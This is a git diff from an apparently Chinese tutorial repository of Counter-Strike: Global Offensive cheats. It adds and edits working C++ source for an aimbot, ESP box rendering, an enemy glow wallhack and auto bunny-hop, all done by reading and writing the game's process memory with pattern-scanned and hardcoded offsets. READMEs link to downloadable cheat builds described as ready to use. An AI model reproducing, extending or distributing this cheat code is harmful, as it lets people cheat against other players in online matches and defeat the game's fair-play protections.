Counterstrike Global Offensive/H.inline hook Direct3D9/demo.jpg" similarity index 100% rename from 8.inline hook Direct3D9/demo.jpg rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/demo.jpg" diff --git a/8.inline hook Direct3D9/dll_main.cpp "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/dll_main.cpp" similarity index 100% rename from 8.inline hook Direct3D9/dll_main.cpp rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/dll_main.cpp" diff --git a/8.inline hook Direct3D9/do_cheats.hpp "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/do_cheats.hpp" similarity index 100% rename from 8.inline hook Direct3D9/do_cheats.hpp rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/do_cheats.hpp" diff --git a/8.inline hook Direct3D9/help_func.hpp "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/help_func.hpp" similarity index 100% rename from 8.inline hook Direct3D9/help_func.hpp rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/help_func.hpp" diff --git a/8.inline hook Direct3D9/inline_hook.hpp "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/inline_hook.hpp" similarity index 100% rename from 8.inline hook Direct3D9/inline_hook.hpp rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/H.inline hook Direct3D9/inline_hook.hpp" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/README.md" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/README.md" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/demo.jpg" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/demo.jpg" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/dll_main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/dll_main.cpp" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/dll_main.cpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/dll_main.cpp" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/do_cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/do_cheats.hpp" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/do_cheats.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/do_cheats.hpp" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/help_func.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/help_func.hpp" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/help_func.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/help_func.hpp" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/inline_hook.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/inline_hook.hpp" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/inline_hook.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\206\205\346\214\202/inline_hook.hpp" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.cpp" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.cpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.cpp" diff --git "a/9.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.h" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.h" similarity index 100% rename from "9.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.h" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/I.imgui + \345\206\205\345\244\226\346\214\202/\345\244\226\346\214\202/main.h" diff --git "a/10.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/J.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/README.md" similarity index 100% rename from "10.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/J.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/README.md" diff --git "a/10.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/J.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/demo.jpg" similarity index 100% rename from "10.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/J.DrawIndexedPrimitive\347\232\204\351\200\217\350\247\206\345\256\236\347\216\260/demo.jpg" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/README.md" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/README.md" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/README.md" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/csgo.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/csgo.txt" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/csgo.txt" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/csgo.txt" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/csgo_cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/csgo_cheats.hpp" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/csgo_cheats.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/csgo_cheats.hpp" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/direct3d9.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/direct3d9.hpp" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/direct3d9.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/direct3d9.hpp" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/help_func.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/help_func.hpp" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/help_func.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/help_func.hpp" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/main.cpp" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/main.cpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\346\272\220\347\240\201/main.cpp" diff --git "a/11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\350\207\252\345\267\261\347\237\251\351\230\265\345\211\215\345\206\205\345\255\230\347\211\271\345\276\201.txt" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\350\207\252\345\267\261\347\237\251\351\230\265\345\211\215\345\206\205\345\255\230\347\211\271\345\276\201.txt" similarity index 100% rename from "11.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\350\207\252\345\267\261\347\237\251\351\230\265\345\211\215\345\206\205\345\255\230\347\211\271\345\276\201.txt" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/K.\345\206\205\345\255\230\346\250\241\345\274\217\346\237\245\346\211\276/\350\207\252\345\267\261\347\237\251\351\230\265\345\211\215\345\206\205\345\255\230\347\211\271\345\276\201.txt" diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/README.md" new file mode 100644 index 0000000..2c31749 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/README.md" @@ -0,0 +1,21 @@ + +## 基本的外挂源码,不需要DLL注入,随开随用 + +## 百度网盘下载[https://pan.baidu.com/s/1GjWiZJofXME-liSUWLVzlg] +提取码: r83m + +## 在线观看 +西瓜视频(https://www.ixigua.com/i6824543841350058510/) + +# 截图展示 +

+ +

+ + + + + + + + diff --git "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/csgo_cheats.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/csgo_cheats.hpp" similarity index 89% rename from "12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/csgo_cheats.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/csgo_cheats.hpp" index 217e05c..4ad205a 100644 --- "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/csgo_cheats.hpp" +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/csgo_cheats.hpp" @@ -111,10 +111,10 @@ void get_player_list(struct player_list* players) { int player_base_address; read_memory(process, (g_players_address + i * 0x10), &player_base_address, sizeof(int)); - if(player_base_address == 0) continue; + if (player_base_address == 0) continue; read_memory(process, player_base_address + 0x100, &players[i].blood, sizeof(int)); - if(players[i].blood <= 0) continue; + if (players[i].blood <= 0) continue; players[i].effective = true; players[i].aimbot_len = 9999; @@ -208,9 +208,10 @@ void initialize_address(const char* process_name) get_module_info(process_handle, process_id, "client_panorama.dll", client_panorama_module); int matrix_address = find_pattern(process_handle, client_panorama_module, "\x80\xBF??\xE0\xC0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xBF", 1) + 0x16; - int angle_address = find_pattern(process_handle, engine_module, "\x70\x9D??\x70\x37??\x50\x0B??\x01\x00\x00\x00\x70\x9D??\x70\x9D", 0) + 0x40; - int self_address = find_pattern(process_handle, client_panorama_module, "\x20\xE3??\x30\x91??\x08\x20\x08\x00\xE8\x45??\x28\xFB??\x4C\xE3??\xC8\xA4?\x04\x04", 0) + 0x50; - int players_address = find_pattern(process_handle, client_panorama_module, "\x40??\x80???\x10\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00?\x00\x00\x00\xFF\xFF\xFF\xFF", 6) + 0x9B; + int angle_address = find_pattern(process_handle, engine_module, "\x70\x9D??\x70\x37??\x50???\x01\x00\x00\x00\x70\x9D??\x70\x9D", 0, 0x580000) + 0x40; + int self_address = find_pattern(process_handle, client_panorama_module, "\xFC??\x01\x00\x00\x00?\xE3??????\x08\x20\x08\x00?????\xFB", 0, 0xD2F000) + 0x57; + int players_address = find_pattern(process_handle, client_panorama_module, "\x40???????\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00?\x00\x00\x00\xFF\xFF\xFF\xFF", 0, 0x4D40000) + 0x9B; + //show_all_pattern(process_handle, client_panorama_module, "\xFC??\x01\x00\x00\x00?\xE3??????\x08\x20\x08\x00?????\xFB",0xD2F000); #ifdef DEBUG_STRING printf("Լַ : %8x \n", matrix_address); @@ -276,7 +277,7 @@ void render_player_box(player_list* players) } render_rect(color, x, y, w, h); render_player_blood(players[i].blood, x - 5, y, h); - render_underline(color,window_w, window_h, x + (w / 2), y + h); + render_underline(color, window_w, window_h, x + (w / 2), y + h); } } } @@ -306,18 +307,18 @@ void set_current_angle(float* angle) } //ȡǶ -void get_aimbot_angle(float* self_location, float* player_location, float* aim_angle, bool squat,float recoil) +void get_aimbot_angle(float* self_location, float* player_location, float* aim_angle, bool squat, float recoil) { float x = self_location[0] - player_location[0]; float y = self_location[1] - player_location[1]; - float z = self_location[2] - player_location[2] + 65.0f + 15.0f; + float z = self_location[2] - player_location[2] + 65.0f; if (squat) z -= 15.0f; z += recoil; const float pi = 3.1415f; aim_angle[0] = (float)atan(z / sqrt(x * x + y * y)) / pi * 180.f; aim_angle[1] = (float)atan(y / x); - + if (x >= 0.0f && y >= 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f - 180.0f; else if (x < 0.0f && y >= 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f; else if (x < 0.0f && y < 0.0f) aim_angle[1] = aim_angle[1] / pi * 180.0f; @@ -343,27 +344,27 @@ int get_recent_head_location(player_list* players, float* self_location) //鿪 void aimbot_players(player_list* player, float max_fov = 30) { - if (get_jump_state(player) == true) return; + if (get_jump_state(player) == true) return;//Ծж float self_location[3]; - get_self_location(self_location); + get_self_location(self_location);//Լʶ - int aim_index = get_recent_head_location(player, self_location); + int aim_index = get_recent_head_location(player, self_location);//ȡ if (aim_index == -1) return; float current_angle[2]; - get_current_angle(current_angle); + get_current_angle(current_angle);//ȡǰǶ - bool squat = get_squat_state(player); + bool squat = get_squat_state(player);//ȡ״̬ float aim_angle[2]; - get_aimbot_angle(self_location, player[aim_index].head_bone, aim_angle, squat, 0.0f); + get_aimbot_angle(self_location, player[aim_index].head_bone, aim_angle, squat, 0.0f); //Ƕ - if (abs((int)aim_angle[0] - (int)current_angle[0]) > max_fov - || abs((int)aim_angle[1] - (int)current_angle[1]) > max_fov) + if (abs((int)aim_angle[0] - (int)current_angle[0]) > max_fov + || abs((int)aim_angle[1] - (int)current_angle[1]) > max_fov)//Ƕж return; - set_current_angle(aim_angle); + set_current_angle(aim_angle);//ýǶ } //ʼ @@ -377,8 +378,8 @@ void cheats_doing() render_player_box(players); - if(get_mouse_left_down() || get_shot_state(players)) aimbot_players(players); - //else if(get_open_mirror_state(players)) aimbot_players(players); + if (get_mouse_left_down() || get_shot_state(players)) aimbot_players(players); + else if (get_open_mirror_state(players)) aimbot_players(players); } //ʼ @@ -395,6 +396,4 @@ void start_cheats_csgo() initialize_direct3d9(transparent_hwnd); message_handle(game_hwnd, transparent_hwnd); -} - - +} \ No newline at end of file diff --git "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/demo.jpg" similarity index 100% rename from "12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/demo.jpg" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/demo.jpg" diff --git "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/direct3d9.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/direct3d9.hpp" similarity index 100% rename from "12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/direct3d9.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/direct3d9.hpp" diff --git "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/help_func.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/help_func.hpp" similarity index 93% rename from "12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/help_func.hpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/help_func.hpp" index a857f0e..2721d3e 100644 --- "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/help_func.hpp" +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/help_func.hpp" @@ -189,19 +189,19 @@ void get_module_info(handle process_handle, dword process_id, const char* module warning("!!!Ҳָģ!!!"); } -int find_pattern(handle process, struct module_information& module, const char* pattern, int index = 0) +int find_pattern(handle process, struct module_information& module, const char* pattern, int index = 0, int offset = 0) { - const char* start = module.module_data; + const char* start = module.module_data + offset; const int length = strlen(pattern); int count = 0; - for (int i = 0; i < module.module_size; i++) + for (int i = 0; i < module.module_size - offset; i++) { if (start[i] == pattern[0] || pattern[0] == '?') { int j = 1; for (; j < length; j++) if (start[i + j] != pattern[j] && pattern[j] != '?') break; - if (j == length && count++ == index) return module.module_address + i; + if (j == length && count++ == index) return module.module_address + i + offset; } } @@ -209,19 +209,19 @@ int find_pattern(handle process, struct module_information& module, const char* return -1; } -void show_all_pattern(handle process, struct module_information& module, const char* pattern) +void show_all_pattern(handle process, struct module_information& module, const char* pattern, int offset = 0) { - const char* start = module.module_data; + const char* start = module.module_data + offset; const int length = strlen(pattern); int count = 0; - for (int i = 0; i < module.module_size; i++) + for (int i = 0; i < module.module_size - offset; i++) { if (start[i] == pattern[0] || pattern[0] == '?') { int j = 1; for (; j < length; j++) if (start[i + j] != pattern[j] && pattern[j] != '?') break; - if (j == length) printf("address : %8x \n", module.module_address + i); + if (j == length) printf("address : %8x \n", module.module_address + i + offset); } } diff --git "a/12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/main.cpp" similarity index 100% rename from "12.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/main.cpp" rename to "[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/L.\345\256\214\345\226\204\345\244\226\346\214\202\345\212\237\350\203\275/main.cpp" diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/README.md" new file mode 100644 index 0000000..43a1b6f --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/README.md" @@ -0,0 +1,20 @@ + +## 基本的辉光源码 + +## 链接: https://pan.baidu.com/s/1dZcBMVtNGzc1XsNdV5EmAg 提取码: 5hgy + +## 在线观看 https://www.ixigua.com/i6829927044688642572?utm_source=xiguastudio + + +# 截图展示 +

+ +

+ + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/demo.jpg" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/demo.jpg" new file mode 100644 index 0000000..a39c57f Binary files /dev/null and "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/demo.jpg" differ diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/main.cpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/main.cpp" new file mode 100644 index 0000000..ab5ff88 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/main.cpp" @@ -0,0 +1,129 @@ +#include +#include +#include +#include "offset.h" + +using t_dword = DWORD; +using t_handle = HANDLE; + +t_dword g_pid; +t_handle g_handle; + +t_dword g_client; +t_dword g_client_size; + +t_dword g_engine; +t_dword g_engine_size; + +void error(const char* text) +{ + MessageBoxA(nullptr, text, nullptr, 0); + exit(-1); +} + +bool is_error() +{ + return GetLastError() != 0; +} + +void open_process(t_dword pid) +{ + g_pid = pid; + g_handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); + if (is_error()) error("򿪽̾ʧ"); +} + +void get_moduel_info(const char* name, t_dword& address, t_dword& size) +{ + t_handle snap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, g_pid); + if (is_error()) error(""); + + MODULEENTRY32 mod{ sizeof(MODULEENTRY32) }; + BOOL status = Module32First(snap, &mod); + while (status) + { + if (strncmp(name, mod.szModule, strlen(name)) == 0) + { + address = (t_dword)mod.modBaseAddr; + size = mod.modBaseSize; + CloseHandle(snap); + return; + } + status = Module32Next(snap, &mod); + } + CloseHandle(snap); +} + +template +T read_memory(t_dword address) +{ + T buffer; + SIZE_T finish; + ReadProcessMemory(g_handle, (LPCVOID)address, &buffer, sizeof(T), &finish); + return buffer; +} + +template +void write_memory(t_dword address, T buffer) +{ + SIZE_T finish; + WriteProcessMemory(g_handle, (LPVOID)address, &buffer, sizeof(T), &finish); +} + +void glow() +{ + t_dword local_player = read_memory(g_client + hazedumper::signatures::dwLocalPlayer); + if (local_player == 0) return; + + int team = read_memory(local_player + hazedumper::netvars::m_iTeamNum); + + t_dword glow_manager = read_memory(g_client + hazedumper::signatures::dwGlowObjectManager); + if (glow_manager == 0) return; + + for (int i = 0; i < 64; i++) + { + t_dword entity = read_memory(g_client + hazedumper::signatures::dwEntityList + i * 0x10); + if (entity == 0 || entity == local_player) continue; + + int entity_team = read_memory(entity + hazedumper::netvars::m_iTeamNum); + int entity_glow_index = read_memory(entity + hazedumper::netvars::m_iGlowIndex); + + float color = 0; + if (team != entity_team) color = 2.0f; + write_memory(glow_manager + ((entity_glow_index * 0x38) + 0x4), color); + write_memory(glow_manager + ((entity_glow_index * 0x38) + 0x8), 2.0f); + write_memory(glow_manager + ((entity_glow_index * 0x38) + 0xc), 0); + write_memory(glow_manager + ((entity_glow_index * 0x38) + 0x10), 0.5f); + + write_memory(glow_manager + ((entity_glow_index * 0x38) + 0x24), true); + write_memory(glow_manager + ((entity_glow_index * 0x38) + 0x25), false); + } +} + +void jump() +{ + t_dword local_player = read_memory(g_client + hazedumper::signatures::dwLocalPlayer); + if (local_player == 0) return; + + int flag = read_memory(local_player + hazedumper::netvars::m_fFlags); + if (flag == 257 && GetAsyncKeyState(VK_SPACE) & 0x8000) + write_memory(g_client + hazedumper::signatures::dwForceJump, 6); +} + +//https://github.com/frk1/hazedumper/blob/master/csgo.hpp +int main(int argc, char* argv[]) +{ + open_process(14032); + + get_moduel_info("client_panorama.dll", g_client, g_client_size); + get_moduel_info("engine.dll", g_engine, g_engine_size); + + while (true) + { + glow(); + jump(); + Sleep(1); + } + + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/offset.h" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/offset.h" new file mode 100644 index 0000000..7c9adcd --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/M.\345\244\226\351\203\250\350\276\211\345\205\211 + \350\277\236\350\267\263/offset.h" @@ -0,0 +1,154 @@ +#pragma once +#include + +// 2020-05-12 07:59:39.189137300 UTC + +namespace hazedumper { + constexpr ::std::int64_t timestamp = 1589270379; + namespace netvars { + constexpr int cs_gamerules_data = 0x0; + int m_ArmorValue = 0xB368; + int m_Collision = 0x320; + int m_CollisionGroup = 0x474; + int m_Local = 0x2FBC; + int m_MoveType = 0x25C; + int m_OriginalOwnerXuidHigh = 0x31C4; + int m_OriginalOwnerXuidLow = 0x31C0; + int m_SurvivalGameRuleDecisionTypes = 0x1320; + int m_SurvivalRules = 0xCF8; + int m_aimPunchAngle = 0x302C; + int m_aimPunchAngleVel = 0x3038; + int m_angEyeAnglesX = 0xB36C; + int m_angEyeAnglesY = 0xB370; + int m_bBombPlanted = 0x99D; + int m_bFreezePeriod = 0x20; + int m_bGunGameImmunity = 0x3930; + int m_bHasDefuser = 0xB378; + int m_bHasHelmet = 0xB35C; + int m_bInReload = 0x32A5; + int m_bIsDefusing = 0x391C; + int m_bIsQueuedMatchmaking = 0x74; + 